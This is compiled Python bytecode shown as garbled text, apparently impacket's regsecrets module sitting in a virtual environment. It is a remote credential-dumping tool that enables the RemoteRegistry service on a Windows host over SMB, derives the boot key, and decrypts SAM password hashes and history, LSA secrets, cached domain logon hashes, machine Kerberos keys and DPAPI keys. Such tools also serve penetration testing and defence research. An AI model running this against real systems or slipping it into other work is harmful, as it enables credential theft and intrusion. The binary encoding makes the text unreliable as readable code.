o
    j                     @   sx  d dl Z d dlZd dlZd dlZd dlZd dlZd dlZd dlmZ d dlm	Z	m
Z
 d dlmZ d dlmZ d dlmZ d dlmZ d dlmZmZmZmZ d d	lmZ d d
lmZ d dlmZ d dlmZ d dlm Z  d dl!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(m)Z)m*Z*m+Z+m,Z,m-Z-m.Z.m/Z/m0Z0m1Z1m2Z2m3Z3m4Z4m5Z5 d dl6m7Z7m8Z8 dddZ9G dd dZ:G dd dZ;G dd dZ<dS )    N)datetime)unpackpack)b)ntlm)getUnixTime)LOG)	transportrrpscmrwkst)transformKey)ERROR_NO_MORE_ITEMS)hexdump)	constants)string_to_key)CryptoCommon_print_helperDOMAIN_ACCOUNT_FSAM_KEY_DATASAM_KEY_DATA_AESARC4DESAESUSER_ACCOUNT_VSAM_HASHSAM_HASH_AESLSA_SECRET_XPHMACMD4MD5
LSA_SECRETLSA_SECRET_BLOB	NL_RECORDDPAPI_SYSTEM
NTDSHashes)	unhexlifyhexlifyw+c                 C   s"   |d ur	|| |S t j| |ddS )Nutf-8)encoding)codecsopen)fileNamemodeopenFileFunc r0   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/regsecrets.pyopenFile   s   
r2   c                   @   s   e Zd Zd'ddZdd Zdd Zdd	 Zd
d Zdd Zdd Z	dd Z
dd Zdd Zdd Zdd Zdd Zd(ddZd(dd Zd(d!ed"efd#d$Zd%d& ZdS ))RemoteOperationsNc                 C   s   || _ | j d ur| j d d| _d| _d | _d | _d | _d | _|| _|| _	d| _
d| _d| _d| _d| _d | _d | _d| _d S )Ni,  RemoteRegistryzncacn_np:445[\pipe\winreg]    Fzncacn_np:445[\pipe\svcctl]) _RemoteOperations__smbConnection
setTimeout_RemoteOperations__serviceName&_RemoteOperations__stringBindingWinReg_RemoteOperations__rrp_RemoteOperations__regHandle_RemoteOperations__samr_RemoteOperations__drsr_RemoteOperations__doKerberos_RemoteOperations__kdcHost_RemoteOperations__bootKey_RemoteOperations__disabled_RemoteOperations__shouldStop_RemoteOperations__started&_RemoteOperations__stringBindingSvcCtl_RemoteOperations__scmr!_RemoteOperations__tmpServiceName!_RemoteOperations__serviceDeleted)selfsmbConnection
doKerberoskdcHostr0   r0   r1   __init__!   s&   

zRemoteOperations.__init__c                 C   >   t | j}|| j | | _| j  | jt	j
 d S N)r	   DCERPCTransportFactoryrD   set_smb_connectionr6   get_dce_rpcrE   connectbindr   MSRPC_UUID_SCMRrH   rpcr0   r0   r1   __connectSvcCtl;   
   

z RemoteOperations.__connectSvcCtlc                 C   rM   rN   )r	   rO   r9   rP   r6   rQ   r:   rR   rS   r
   MSRPC_UUID_RRPrU   r0   r0   r1   __connectWinRegB   rX   z RemoteOperations.__connectWinRegc                 C   s   | j  dkr-|  \}}| j  }| |  dr+d|ddd }ndS | j  }| j  }t	
d| d|  d| d	| d	| d	f }|S )
zm
        Returns Kerberos salt for the current connection if
        we have the correct information
         .   Nr5   z,[Secretsdump][getMachineKerberosSalt] Host: z / Domain FQDN: s   %shost%s.%sr)   )r6   getServerNamegetMachineNameAndDomaingetRemoteNamelower
startswithjoinsplitgetServerDNSDomainNamer   debugupperencode)rH   host_
remoteNamedomainsaltr0   r0   r1   getMachineKerberosSaltI   s   


,z'RemoteOperations.getMachineKerberosSaltc                 C   s   | j  dkrBtd}|| j  | }|  |tj	 t
|d}|  |d d d d d |d d d d d fS | j  | j  fS )	Nr[   zncacn_np:445[\pipe\wkssvc]d   	WkstaInfoWkstaInfo100wki100_computernamewki100_langroup)r6   r^   r	   rO   rP   rQ   rR   rS   r   MSRPC_UUID_WKSThNetrWkstaGetInfo
disconnectgetServerDomain)rH   rV   dcerespr0   r0   r1   r_   ]   s   
 z(RemoteOperations.getMachineNameAndDomainc                 C   s   zDt | j| jd}|d }t | j|d\}}|d d }t | j|d\}}|d d }t | j| t|dkrBd||f W S |W S    Y d S )Nz5SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon	phkResultDefaultUserNamers   DefaultDomainNamer   z%s\%s)r
   hBaseRegOpenKeyr:   r;   hBaseRegQueryValuehBaseRegCloseKeylen)rH   ans	keyHandledataType	dataValueusernamerl   r0   r0   r1   getDefaultLoginAccountn   s   z'RemoteOperations.getDefaultLoginAccountc              
   C   s   z3t | j| j|}|d }t | j|}|d d d d }t | j| |dr1|dd  }|W S  tyR } z|ddu rGt	
| W Y d }~d S d }~ww )	NlpServiceHandlelpServiceConfiglpServiceStartNamers   z.\   _historyF)r   hROpenServiceWrE   "_RemoteOperations__scManagerHandlehRQueryServiceConfigWhRCloseServiceHandlerb   	Exceptionendswithr   error)rH   serviceNamer   serviceHandlerz   accounter0   r0   r1   getServiceAccount~   s   

z"RemoteOperations.getServiceAccountc                 C   s:  t | j}|d | _t | j| j| j}|d | _t | j| j}|d d t jkr:t	
d| j  d| _d| _n |d d t jkrRt	d| j  d| _d| _ntd	|d
  | jdu rt | j| j}|d d dkrt	
d| j  d| _t j| j| jdd t	
d| j  t | j| j td d S d S )N
lpScHandler   lpServiceStatusdwCurrentStatezService %s is in stopped stateTFzService %s is already runningz%Unknown service state 0x%x - AbortingCurrentStater   dwStartType   z#Service %s is disabled, enabling it   r   zStarting service %sr]   )r   hROpenSCManagerWrE   r   r   r8    _RemoteOperations__serviceHandlehRQueryServiceStatusSERVICE_STOPPEDr   inforB   rC   SERVICE_RUNNINGrf   r   r   rA   hRChangeServiceConfigWhRStartServiceWtimesleeprH   r   r0   r0   r1   __checkServiceStatus   s0   


z%RemoteOperations.__checkServiceStatusc                 C   s   |    |   |   d S rN   ) _RemoteOperations__connectSvcCtl%_RemoteOperations__checkServiceStatus _RemoteOperations__connectWinReg)rH   r0   r0   r1   enableRegistry   s   zRemoteOperations.enableRegistryc              
   C   s  | j du rtd| j  t| j| jtj | j	du r.td| j  tj
| j| jdd | jdu r| jd urzwtd| j  }t|drX|j| j   || j| j | | _| j  | jtj t| j}|d	 | _t| j| j| j}|d
 }t| j| t| j|tj t| j| t| j| j t| j| j |   W d S  t!y } zW Y d }~d S d }~ww d S d S )NTzStopping service %sz+Restoring the disabled state for service %sr   r   Fzncacn_np:%s[\pipe\svcctl]set_credentialsr   r   )"rB   r   r   r8   r   hRControlServicerE   r   SERVICE_CONTROL_STOPrA   r   rG   rF   r	   rO   r6   getRemoteHosthasattrr   getCredentialsset_kerberosr>   r?   rQ   rR   rS   rT   r   r   r   hRDeleteServicer   rw   r   )rH   rV   r   rz   servicer   r0   r0   r1   	__restore   s<   





zRemoteOperations.__restorec              
   C   s   | j d urt| j| j  |   | jd ur| j  | jd ur%| j  | jd ur/| j  | jd ur[z| j  W d S  t	yZ } zt
|ddkrNn W Y d }~d S d }~ww d S )NSTATUS_INVALID_PARAMETERr   )r;   r
   r   r:   _RemoteOperations__restorerw   r=   r<   rE   r   strfind)rH   r   r0   r0   r1   finish   s(   







zRemoteOperations.finishc                 C   s   d}|    dD ]2}td|  t| j| jd| }|d }t| j|}|t|d d d  }t	| j| qg d}t
|}tt|D ]}|  j||| || d	  7  _qItd
t| jd  | jS )Nr5   )JDSkew1GBGDatazRetrieving class info for %sz'SYSTEM\CurrentControlSet\Control\Lsa\%sr{   
lpClassOutrs   )      r   r      	      r   r      r]         
         r]   zTarget system bootKey: 0x%sr)   )openHKLMHandler   rf   r
   r~   r:   r;   hBaseRegQueryInfoKeyr   r   r&   ranger   r@   r   r'   decode)rH   bootKeykeyr   r   
transformsir0   r0   r1   
getBootKey   s   $zRemoteOperations.getBootKeyc                 C   s(   | j d u rt| j}|d | _ d S d S )NphKey)r;   r
   hOpenLocalMachiner:   r   r0   r0   r1   r     s   
zRemoteOperations.openHKLMHandler   c                 C   s   t dt  d| d|  |   ztj| j| j|tj	tj
B d d}W n   td| d|d }t| j|d |}t| j| t| |S )N[z] Retrieving \	dwOptions
samDesiredCan't open  subKeyr{   )r   rf   r   nowr   r
   r~   r:   r;   REG_OPTION_BACKUP_RESTOREREG_OPTION_OPEN_LINKr   r   r   r   r   )rH   subKeyvaluethrottler   r   r0   r0   r1   retrieveSubKey  s    

zRemoteOperations.retrieveSubKeyc                 C   s   t dt  d|  |   ztj| j| j|tj	tj
B d d}W n   td| d|d }d}g }	 zt| j||}|d	7 }||d
 d d  W n	 tyZ   Y nw q8t| j| t| |S )Nr   z] Enumerating keys r   r   r   r{   r   Tr]   	lpNameOutrs   )r   rf   r   r   r   r
   r~   r:   r;   r   r   r   hBaseRegEnumKeyappendr   r   r   )rH   r   r   r   r   r   valuesr   r0   r0   r1   
enumSubKey  s.   

zRemoteOperations.enumSubKeyr   returnc              
   C   s$  t dt  d|  |   ztj| j| j|tj	tj
B d d}W n   td| d|d }d}t }	 z1t| j||}|d	 d d
 }t|dkrRd}|d }	d|d }
| |	|
||< |d7 }W n tjy } z| tkrW Y d }~nW Y d }~nd }~ww q9t| |S )Nr   z] Enumerating values r   r   r   r{   r   TlpValueNameOutrs   z	(Default)lpTyper5   lpDatar]   )r   rf   r   r   r   r
   r~   r:   r;   r   r   r   dicthBaseRegEnumValuer   rc    _RemoteOperations__parse_lp_dataDCERPCSessionErrorget_error_coder   r   r   )rH   r   r   r   r   r   r   ans2lp_value_namelp_typelp_datar   r0   r0   r1   
enumValues,  s<   

zRemoteOperations.enumValuesc              
   C   s  zc|t jks|t jkrt|tu rW d S |dd d W S |t jkr&|W S |t jkr3td|d W S |t j	kr@td|d W S |t j
krH|W S |t jkrW|dd d W S td|  t| W d S  ty } ztdt|  td	 W Y d }~d S d }~ww )
Nutf-16lers   <Lr   z<QzUnknown Type 0x%x!z+Exception thrown when printing reg value %szInvalid data)r
   REG_SZREG_EXPAND_SZtypeintr   
REG_BINARY	REG_DWORDr   	REG_QWORDREG_NONEREG_MULTI_SZprintr   r   loggingrf   r   )rH   	valueType	valueDatar   r0   r0   r1   __parse_lp_dataG  s.   




z RemoteOperations.__parse_lp_datarN   )r   )__name__
__module____qualname__rL   r   r   rn   r_   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r0   r0   r0   r1   r3       s$    
'

r3   c                   @   s|   e Zd Zdd dddfdefddZd	d
 Zdd ZdddZdd Zdd Z	dd Z
dd Zdd Zdd ZdddZdS )	SAMHashesc                 C   s   t | S rN   r   )secretr0   r0   r1   <lambda>a      zSAMHashes.<lambda>NFr   	remoteOpsc                 C   s<   || _ d| _|| _t | _i | _|| _|| _g | _|| _	d S )Nr5   )
_SAMHashes__remoteOps_SAMHashes__hashedBootKey_SAMHashes__bootKeyr   _SAMHashes__cryptoCommon_SAMHashes__itemsFound_SAMHashes__perSecretCallback_SAMHashes__history_SAMHashes__historyItems_SAMHashes__throttle)rH   r   perSecretCallbackr  historyr   r0   r0   r1   rL   a  s   
zSAMHashes.__init__c                 C      t d}|| | S Nmd5hashlibnewupdatedigestrH   datar#  r0   r0   r1   r    l     

zSAMHashes.MD5c           	      C   s(  t d d}d}| jjdd| jdd }t|}|d d	d d
krlt|d }| |d | | j | }t	
|}||d |d  | _| | jd d | | jd d  | }|| jdd  krjtdd S |d d	d dkrt|d }| j| j|d d |d  |d | _d S d S )Nz"Calculating HashedBootKey from SAMs/   !@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&% s)   0123456789012345678901234567890123456789 zSAM\SAM\Domains\AccountFr   r]   Key0r      SaltKeyCheckSum   zJhashedBootKey CheckSum failed, Syskey startup password probably in use! :(   r   DataLen)r   rf   r  r   r  r   r   r    r  r   r&  encryptr  r   r   r  
decryptAES)	rH   QWERTYDIGITSr,  
domainData
samKeyDatarc4Keyrc4checkSumr0   r0   r1   getHBootKeyq  s(   

*

zSAMHashes.getHBootKeyc                 C   s   | j |\}}t|tj}t|tj}|du r8| | jd d td| | }	t|	}
|
	|d }n| j 
| jd d |d |d d d }||d d ||dd   }|S )NFr3  r   Hashr0  r   )r  	deriveKeyr   r&  MODE_ECBr    r  r   r   r6  r7  decrypt)rH   ridcryptedHashconstantnewStyleKey1Key2Crypt1Crypt2r<  r=  r   decryptedHashr0   r0   r1   __decryptHash  s   "
*$zSAMHashes.__decryptHashc                 C   sP   | j |\}}t|tj}t|tj}||d d ||dd  S )Nr   r3  )r  rA  r   r&  rB  rC  )rH   rid_intblock16key1key2crypt1crypt2r0   r0   r1   __unwrap_history_block  s   $z SAMHashes.__unwrap_history_blockc                 C   s   g }| j d d }|D ]J\}}|rt|d dkrq|r"t|dkr#qtj|tj|d}||}tdt|dD ]}	||	|	d  }
t|
dk rK n
|| ||
 q9q|S )Nr3  r   )iv)	r  r   r   r&  MODE_CBCrC  r   r    _SAMHashes__unwrap_history_block)rH   rN  entriesoutr   rm   enccipherplainoffblockr0   r0   r1   __decrypt_history_entries_aes  s    
z'SAMHashes.__decrypt_history_entries_aesc           	      C   s   g }t |}|dkrdnd}|d |krs|||d  }tj||d |d  ddd}|dks4|d	kr9|d
7 }q|d }|| |ksI|d dkrN|d
7 }q||||  }|||f || }|d
 rm|d
|d
  7 }|d |ks|S )Ni      r      r3  littleFsignedi    r   )r   r  
from_bytesr   )	rH   vdatarX  lengthoffsetrm   data_lendata_offrZ  r0   r0   r1   __scan_v_for_aes_entries  s(    z"SAMHashes.__scan_v_for_aes_entriesc           
   	   C   s   |dks|dkr
g S || }|t |krg S ||| }t |dk r$g S zt|}W n ty>   tjd||dd g  Y S w |d }|sGg S t |t |d  }	|	dkrWg S |d |	 }| ||d |fgS )	Nr      z;Failed to parse SAM_HASH_AES history block at 0x%x (len=%d)Texc_infor@  r3  r0  )r   r   r   r   rf   '_SAMHashes__decrypt_history_entries_aes)
rH   rN  r*  rh  rg  endblobrecordrZ  enc_lenr0   r0   r1   __decode_aes_history_block  s,   z$SAMHashes.__decode_aes_history_blockc                 C   s\  d}d}g g d}|d }|d }t j|dd dd	d
}	t j|dd dd	d
}
t j|dd dd	d
}t j|dd dd	d
}|sKtd| |S | |||	|
}| ||||}|sp|
rp||	|	|
  }| || |}|s|r||||  }| || |}||d< ||d< |d s|d s|
dkr|dkr| |}|r| |||d< |S )Ns   LMPASSWORDHISTORY s   NTPASSWORDHISTORY )lmnt	Unknown15r   r   r   rb  Frc  r   r   r3  ra  z<Skipping old-style history for RID %d; RC4/DES path disabledru  rv  )r  re  r   rf   $_SAMHashes__decode_aes_history_blockro  "_SAMHashes__scan_v_for_aes_entries)rH   rN  	new_styleuser_accountlm_constnt_constresultmetar*  	lm_offset	lm_length	nt_offset	nt_length
lm_entries
nt_entriesrq  fallback_entriesr0   r0   r1   __extract_local_history  s6   
 
z!SAMHashes.__extract_local_historyc                 C   s(  d}d}t d |   g | _d}| jj|| jd}z|d W n   Y tt	
ddd}tt	ddd}|D ]}t| jjt||d	| jdd
 }t|d}|d }	|	|d |d |d   d}
|d dkr|td|
  q?d}|	|d d  dd dkrd}|d dkrt|	|d d  d |d  }|d dkrt|	|d d  d |d  }n(d}|d dkrt|	|d d  d |d  }t|	|d d  d |d  }t d|  |d dkr| ||||}nd}|dkr	| ||||}nd}|dkrt	
dd}|dkr!t	dd}d|
|t|dt|df }|| j|< | | | jrz| |||}|d g }|d!g }|r{|r{|d" |d" kr{|  |  |r{|r{|d" |d" ksdt d#|
|t|t| tt|t|}t |D ]]}|t|k r|| nd}|t|k r|| nd}|rt|dn|}|rt|dn|}||kr||krՐq|
 d$| d%| d%| d%| d&
}| j!| | | qW q? t"y } zt jd'||dd( W Y d }~q?d }~ww q?d S ))Ns   NTPASSWORD s   LMPASSWORD z0Dumping local SAM hashes (uid:rid:lmhash:nthash)zSAM\SAM\Domains\Account\Usersr-  Namesr[   r)   Vr]   r3  r   
NameOffset
NameLengthr   NTHashLengthr   zTSAM hashes extraction for user %s failed. The account doesn't have hash information.r5   NTHashOffsetr   r   r/  FLMHashLengthra  LMHashOffsetTrl  zNewStyle hashes is: %sz%s:%d:%s:%s:::ru  rv  rs   z,History lengths for %s (RID %d): lm=%d nt=%dr   :z:::z)SAM history parsing failed for RID %d: %srm  )#r   r   r?  r  r  r   r  remover'   r   LMOWFv1r   NTOWFv1r   r   ntpathrc   r  r	  r   r   r   rf   _SAMHashes__decryptHashr  r  r  !_SAMHashes__extract_local_historygetpopr   maxr   r   r   )rH   
NTPASSWORD
LMPASSWORDusersKeyridsempty_lm_hexempty_nt_hexrD  userAccountr  userName	encNTHashrG  	encLMHashlmHashntHashanswerr   lm_histnt_histcountidxlm_valnt_vallm_hexnt_hexhistory_lineexcr0   r0   r1   dump  s   

$
"    


$


"
zSAMHashes.dumpc                 C   st   t | jdkr8t| j}|d }t||d}|D ]}|| j| d  q| jD ]	}||d  q(|  |S d S )Nr   z.samr/   
)r   r  sortedr2   writer  close)rH   baseFileNamer/   itemsr-   fditemliner0   r0   r1   exportj  s   

zSAMHashes.export)FrN   )r  r  r  r3   rL   r    r?  r  rW  ro  ry  rx  r  r  r  r0   r0   r0   r1   r  `  s    
%\r  c                   @   s   e Zd ZdZG dd dZdddd dfd	efd
dZdd Zd+ddZdd Z	dd Z
dd Zdd Zdd Zdd Zdd Zdd  Zd!d" Zd#d$ Zd%d& Zd,d'd(Zd,d)d*ZdS )-
LSASecretsz(Unknown User)c                   @   s   e Zd ZdZdZdZdZdS )zLSASecrets.SECRET_TYPEr   r]   r   r   N)r  r  r  LSA
LSA_HASHEDLSA_RAWLSA_KERBEROSr0   r0   r0   r1   SECRET_TYPEx  s
    r  NFc                 C   s   t |S rN   r  )
secretTyper  r0   r0   r1   r    r  zLSASecrets.<lambda>r   r  c                 C   sH   || _ d| _d| _d| _t | _|| _g | _g | _|| _	|| _
|| _d S )Nr5   T)_LSASecrets__bootKey_LSASecrets__LSAKey_LSASecrets__NKLMKey_LSASecrets__vistaStyler   _LSASecrets__cryptoCommon_LSASecrets__remoteOps_LSASecrets__cachedItems_LSASecrets__secretItems_LSASecrets__perSecretCallback_LSASecrets__history_LSASecrets__throttle)rH   r   r  r   r  r   r0   r0   r1   rL   ~  s   
zLSASecrets.__init__c                 C   r!  r"  r$  r)  r0   r0   r1   r      r+  zLSASecrets.MD5  c                 C   s2   t  }|| t|D ]}|| q| S rN   )r%  sha256r'  r   r(  )rH   r   r   roundsshar   r0   r0   r1   __sha256  s
   
zLSASecrets.__sha256c                 C   s   d}t d|d d d }|t|| d  }|}tdt|dD ]:}|d d }|d d }t|}	t|	tj}
||
|7 }|dd  }|dd  }t|dk r[|t|d  }q!t|}|d S )Nr5   z<Ir   r   r   r   Secret)	r   r   r   r   r   r&  rB  rC  r   )rH   r   r   	plainTextencryptedSecretSizekey0r   
cipherText	tmpStrKeytmpKeyrJ  r  r0   r0   r1   __decryptSecret  s"   zLSASecrets.__decryptSecretc                 C   s.   t ||t}| }t|}||}|S rN   )r   r&  r    r(  r   r6  )rH   r   r   rU  hmac_md5rc4keyr=  r*  r0   r0   r1   rM    s
   

zLSASecrets.__decryptHashc                 C   s   | j du r6t|}| | j|d d d }| j||d dd  }t|}|d dd  d d | _d S t	d}|
| j tdD ]}|
|dd	  qE| }t	|}||d
d }|dd | _d S )NTEncryptedData    r  4   r#  r  <   L   r   r3  )r  r!   _LSASecrets__sha256r  r  r7  r"   r  r%  r&  r'  r   r(  r   rC  )rH   r   rr  r  r  r#  r   r=  r0   r0   r1   __decryptLSA  s   


zLSASecrets.__decryptLSAc                 C   sh   t d | jjdd| jd}|d u r+t d | jjdd| jd}d| _|d u r+d S | |d  d S )	NzDecrypting LSA KeyzSECURITY\Policy\PolEKListr[   r-  z2PolEKList not found, trying PolSecretEncryptionKeyz&SECURITY\Policy\PolSecretEncryptionKeyFr]   )r   rf   r  r   r  r  _LSASecrets__decryptLSA)rH   r   r0   r0   r1   __getLSASecretKey  s   

zLSASecrets.__getLSASecretKeyc                 C   s   t d | jjdd| jd}|d u rtd| jdu r?t|d }| | j	|d d d	 }| j
||d d	d  | _d S | | j	|d | _d S )
NzDecrypting NL$KMz%SECURITY\Policy\Secrets\NL$KM\CurrValr[   r-  zCouldn't get NL$KM valueTr]   r  r  )r   rf   r  r   r  r   r  r!   r  r  r  r7  r  _LSASecrets__decryptSecret)rH   r   rr  r  r0   r0   r1   __getNLKMSecret  s   

 zLSASecrets.__getNLKMSecretc                 C   s   |d@ dkr||d@  S |S )Nr   r   r0   )rH   r*  r0   r0   r1   __pad  s   zLSASecrets.__padc              	   C   s4  t d | jjd| jd}|d u rd S z|d= W n   Y d}|dd r;|d}|d= |dkr7|d@ }n|d }|   |   t d	t	| j
   t d
t	| j   | D ]\}}t d|  t|}|d dkr|d d@ dkr| jdu r| j| jdd |d |d }n| | j|d |d }	 nqa|d d }|dd  }|d |d  d}|| |d | |d  d  }|d | |d  d}	tt|d }
| jdu rd|	|||t	|d|
f }nd|	|t	|d||
f }| j| | tjj| qad S )Nz>Dumping cached domain logon information (domain/username:hash)zSECURITY\Cacher-  
NL$Controli (  zNL$IterationCountl    | i   zLsaSecretKey: 0xzNKLM Secret: 0xLooking into IVs                   Flagsr]   Tr3  r  r  H   
UserLengthr   DomainNameLengthDnsDomainNameLength	LastWritez%s/%s:$DCC2$%s#%s#%s: (%s)r)   z%s/%s:%s:%s: (%s))r   r   r  r   r  r  _LSASecrets__getLSASecretKey_LSASecrets__getNLKMSecretrf   r'   r  r   r  r  r#   r  r  r7  _LSASecrets__decryptHash_LSASecrets__padr   utcfromtimestampr   r  r   r  r  r  r  )rH   r   iterationCountrr  r   r   r  encHashr  
domainLong	timestampr  r0   r0   r1   dumpCachedHashes  sT   




$$
 zLSASecrets.dumpCachedHashesc              
   C   s(  t |dkrtd|  d S |drtd|  d S | }td|  d}|drgz|d}W n   Y nt| jd	r\| j	|d
d  }|d u rW| j
d }n
d| }n| j
d }||7 }n|drz|d}W n   Y nt| jdr| j }|d u r| j
d }n
d| }n| j
d }||7 }n|drz|d}W n   Y nd| }n|drt|}dt|d dt|d d}n|drRt }|| t| jdr| j \}	}
d|
|	f }d|
|	ttdddt| df }nd}dttdddt| df }| ||s7td d|t|df }| j| | tjj| ntd|d urtd| d}z|d}t!"|}W n t#y } zW Y d }~nd }~ww g }|d  dkrt |d! dkr|d"|d    |d! D ]}|d#|d$   |d%|d&   qd'$|}d(||f }nd)| }nt%d*t&|d    t%d+ t!j'|d
d,}nttd-|d urtd-| d}z
|d(d.}W n   Y nRd/||f }nKtd0|d ur1td0| d1}z|d}W n   Y n,d2||f }n%td3|d urVtd3| d1}z|d}W n   Y nd4||f }|dkrm|}| j| | tjj| d S d5|t|df }| j| | j)| jj)krt*| | tjj+| d S )6Nr   zDiscarding secret %s, NULL Datas     zDiscarding secret %s, all zerosz%s r[   _SC_r   r   r   r  z%s:DEFAULTPASSWORDr   ASPNET_WP_PASSWORDz
ASPNET: %sr$   z*dpapi_machinekey:0x{0}
dpapi_userkey:0x{1}
MachineKeyzlatin-1UserKeyz$MACHINE.ACCr_   z%s\%s$z%s\%s$:%s:%s:::r)   z$MACHINE.ACC: %s:%sz]Could not calculate machine account Kerberos keys, only printing plain password (hex encoded)z%s:plain_password_hex:%szG^L\$_SQSA_(S-[0-9]-[0-9]-([0-9])+-([0-9])+-([0-9])+-([0-9])+-([0-9])+)$r]   version	questionsz - Version : %dz | Question: %squestionz | |--> Answer: %sr  r  z#Security questions for user %s: 
%sz%Empty security questions for user %s.zfUnknown SQSA version (%s), please open an issue with the following data so we can add a parser for it.zSDon't forget to remove sensitive content before sending the data in a Github issue.)indentzE^SCM:{([0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12})} zPassword of service %s: %sz%^L\$([0-9A-Z]{3})-PRV-([0-9A-F]{32})$r   zOpenGPG private key %s: 
%sz%^L\$([0-9A-Z]{3})-PUB-([0-9A-F]{32})$zOpenGPG public key %s: 
%sz%s:%s),r   r   rf   rb   rg   r   r   r   r  r   UNKNOWN_USERr   r$   formatr'   r   r&  r'  r_   r   r  r(  !_LSASecrets__printMachineKerberosr  r   r  r  r  r  rematchsearchgroupjsonloadsr   rc   warningr   dumpsrstripr  r   r  )rH   name
secretItem	upperNamer  
strDecodedr   dpapimd4machinerl   	printnameextrasecretsidr   outputqkpasswordkeyidb64keyprintableSecretr0   r0   r1   __printSecret)  s   
















zLSASecrets.__printSecretc           	   	   C   s   t | jdro| j }|dkrdS ttjjjttjjjttjj	jg}|
dddd}|D ];}z	t|||d }W n tyK   tjddd	  w tj| }d
||t|j
df }| j| | tjj| q1dS dS )Nrn   r5   Fz	utf-16-lereplacer)   r   Trm  z%s:%s:%s)r   r  rn   r  r   EncryptionTypesaes256_cts_hmac_sha1_96r   aes128_cts_hmac_sha1_96des_cbc_md5r   rh   r   r   r   rf   r%   KERBEROS_TYPEr'   contentsr  r   r  r  r  r  )	rH   	rawsecretmachinenamerm   
allciphersetyper   typenamer  r0   r0   r1   __printMachineKerberos  s,   


z!LSASecrets.__printMachineKerberosc                 C   s  t d | jjd| jd}|d u rd S z|d W n   Y z|d W n   Y | jdkr5|   |D ]}t d|  dg}| j	rL|
d	 |D ]}z| jjd
| d| d| jd}W n( ty } zt jtjkrzdd l}|  tt| W Y d }~qNd }~ww |d ur|d dkr| jdu rt|d }| | j|d d d }	| j|	|d dd  }
t|
}|d }n	| | j|d }|d	kr|d7 }| || qNq7d S )NzDumping LSA SecretszSECURITY\Policy\Secretsr-  zNL$KMr  r5   r  CurrValOldValSECURITY\Policy\Secrets\r   r[   r   r]   Tr  r  r  r   )r   r   r  r   r  r  r  r  rf   r  r   r   r   r	  	getLoggerlevelDEBUG	traceback	print_excr  r   r  r!   r  r  r7  r"   r  _LSASecrets__printSecret)rH   keysr   valueTypeListr
  r   r   r7  rr  r  r  r  r0   r0   r1   dumpSecrets  sX   


$

zLSASecrets.dumpSecretsc                 C   sV  t d|  | jdkr|   dg}| jr|d |D ]}z| jjd| d| d| jd}W n( t	yZ } zt
 jt
jkrJd	d l}|  tt| W Y d }~qd }~ww |d ur|d
 d	kr| jdu rt|d
 }| | j|d d d }| j||d dd  }	t|	}|d }
n	| | j|d
 }
|dkr|d7 }|
  S qd S )NzDumping LSA secret: r5   r1  r2  r3  r   r[   r-  r   r]   Tr  r  r  r   )r   r   r  r  r  r   r  r   r  r   r	  r4  r5  r6  r7  r8  r  r   r  r!   r  r  r7  r"   r  )rH   r   r;  r
  r   r   r7  rr  r  r  r  r0   r0   r1   	getSecret"  s<   

$

zLSASecrets.getSecretc                 C   L   t | jdkr$|d }t||d}| jD ]	}||d  q|  |S d S )Nr   z.secretsr  r  )r   r  r2   r  r  rH   r  r/   r-   r  r  r0   r0   r1   exportSecretsF     
zLSASecrets.exportSecretsc                 C   r>  )Nr   z.cachedr  r  )r   r  r2   r  r  r?  r0   r0   r1   exportCachedO  rA  zLSASecrets.exportCached)r  rN   )r  r  r  r  r  r3   rL   r    r  r  r  r  r  r  r  r  r9  r	  r<  r=  r@  rB  r0   r0   r0   r1   r  v  s,    
> # 7
$	r  )r(   N)=r%  r  r	  r   r
  r  r+   r   structr   r   sixr   impacketr   impacket.eser   r   impacket.dcerpc.v5r	   r
   r   r   impacket.cryptor   impacket.system_errorsr   impacket.structurer   impacket.krb5r   impacket.krb5.cryptor   impacket.examples.secretsdumpr   r   r   r   r   r   r   r   r   r   r   r   r   r   r    r!   r"   r#   r$   r%   binasciir&   r'   r2   r3   r  r  r0   r0   r0   r1   <module>   s:    X
  B  